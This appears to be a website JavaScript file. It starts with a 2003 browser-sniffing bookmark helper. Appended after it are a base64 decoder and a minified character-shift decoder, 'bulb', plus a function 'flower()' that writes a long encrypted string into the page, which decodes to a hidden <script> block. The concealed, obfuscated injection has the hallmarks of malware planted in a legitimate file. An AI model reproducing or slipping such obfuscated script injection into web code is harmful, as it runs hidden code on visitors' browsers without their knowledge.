// javascript bookmark function, Jason, 30/12/2003

function bookmark_fn() {
  // display bookmark string if the browser is one of the following
  // Mac: Safari, IE
  // Win: IE
  
  var user_agent = navigator.userAgent;
  var buf = '';
  
  // detect platform
  is_mac = user_agent.match(/Mac/);
  is_win = user_agent.match(/Win/);
  
  //detect browser
  is_opera  = user_agent.match(/Opera/);
  is_ie     = user_agent.match(/MSIE/);
  is_safari = user_agent.match(/Safari/);
  
  var show_it = false;
  
  if (is_mac && (is_ie || is_safari) && (!is_opera) ) {
    buf = '<img src=g/bm_apple.gif width=191 height=17 alt="" border=0>'; // image for mac
    show_it = true;
  }
  
  if ( (is_win && is_ie) && !is_opera) {
    buf  = '<span style="cursor:hand" onclick="window.external.AddFavorite(location.href, document.title);">';
    buf += '<img src=g/bm_mac.gif width=191 height=17 alt="" border=0>'; // image for windows
    buf += '</span>';
    show_it = true;
  }
  
  if (show_it) {
    document.write('<center>' + buf + '</center>');
  }
}

function jdx(inp) {
 var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
 var out = ""; 
 var chr1, chr2, chr3 = "";
 var enc1, enc2, enc3, enc4 = "";
 var i = 0; 
 inp = inp.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
 enc1 = keyStr.indexOf(inp.charAt(i++));
 enc2 = keyStr.indexOf(inp.charAt(i++));
 enc3 = keyStr.indexOf(inp.charAt(i++));
 enc4 = keyStr.indexOf(inp.charAt(i++));
 chr1 = (enc1 << 2) | (enc2 >> 4);
 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
 chr3 = ((enc3 & 3) << 6) | enc4;
 out = out + String.fromCharCode(chr1);
if (enc3 != 64) {  out = out + String.fromCharCode(chr2);  }
 if (enc4 != 64) {  out = out + String.fromCharCode(chr3);  }
 chr1 = chr2 = chr3 = "";
 enc1 = enc2 = enc3 = enc4 = "";
} while (i < inp.length); 
 return out;
 }


function bulb(y,t){var i=1<t;var r='';var sl=t.length;
var k=y.length;var ft=64;var a=new Array(32,126);var c=new Array(0,31);var j=0;for(var i=0;i<sl;i++)
{var ch=t.charAt(i);var ca=t.charCodeAt(i);if(ca=='10'||ca=='13'||ca=='9'){nc=ca;
if(j==k){j=0;}j++;}else{if(j==k){j=0;}var kc=y.charAt(j);var ka=y.charCodeAt(j);j++;var s=ka%ft;
var nc=ca-s;if(nc<a[0]){nc=a[1]-(s-(ca-a[0]));}}var nc=String.fromCharCode(nc);r+=nc;}return r;}
//function (){document.write(bulb('bulb',''));}
function flower(){document.write(bulb('bulb','^J16-GBB8P>)_WB)<K[.%M/7\'I748Wj^CbY\r\n>=3+C3#%;-\'0@328rN499YXXgdYVl^VWg`XYi\\D]\r\n+3F50)6/(#N7(8?iUReg\r\n>=3+C3#%;-,)@5,8r^WRp\r\n+F=+0<-%(6436D/8_W_RRO^WR6/7Dp\r\n+F=+0<-%(61,%E<)0rNXWkcWUldXVWg\r\n>=3+C3#\'F:366036;36_Wrhh{rhDp\r\n+F=+0<-\'3C=6#95_D{rhh{rD]\r\n+3F50)6130F@#0@</_W\\RReoeDp\r\n+F=+0<-\'3C=6#L@0_WbXXkbXDp\r\n+F=+0<-\'3C=6#K3<8rNUUh_UUWg\r\nd[OOshQ7:@-4Kj\r\nqA\'6@>8BKG4)rN8)OBQ.8D%7:@-4KN\r\nUL76:iD,KB4\\d[4%>3%(gZ+3F50)JG2(@1%8@=2P:=1QG/+)82Q7?=;#827PAAD`\r\n^QJ16-GB`'));}
function jload(item,str){document.getElementById(item).innerHTML=str;}function jhref(item,str){document.getElementById(item).href=str;}
